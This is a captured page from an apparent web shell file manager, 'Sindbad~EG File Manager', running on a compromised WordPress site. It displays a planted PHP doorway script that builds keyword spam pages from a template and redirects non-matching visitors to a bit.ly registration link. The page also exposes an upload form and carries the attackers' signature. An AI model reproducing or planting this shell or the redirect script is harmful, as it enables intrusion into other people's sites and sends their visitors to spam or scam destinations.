Sindbad~EG File Manager

Current Path : /var/www/quickscrum.com/wp-content/page/
Upload File :
Current File : /var/www/quickscrum.com/wp-content/page/index.php

<?php
$template = file_get_contents('newrun.html');

if (!file_exists('cweee.html')) {
    header("Location: https://bit.ly/TQ88-Register");
    exit;
}
$keywords = file('cweee.html', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$givenKeyword = isset($_GET['page']) ? str_replace('-', ' ', strtolower($_GET['page'])) : ''; 
$index = array_search($givenKeyword, array_map('strtolower', $keywords));
if ($index === false) { 
    header("Location: https://bit.ly/TQ88-Register");
    exit;
} else {
    $displayKeyword = ucwords($givenKeyword); 
    $linkKeyword = str_replace(' ', '-', $givenKeyword); 
    $output = str_replace('{keyword}', $displayKeyword, $template); 
    $output = str_replace('{keywordLink}', $linkKeyword, $output);
    echo $output;
}
?>

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists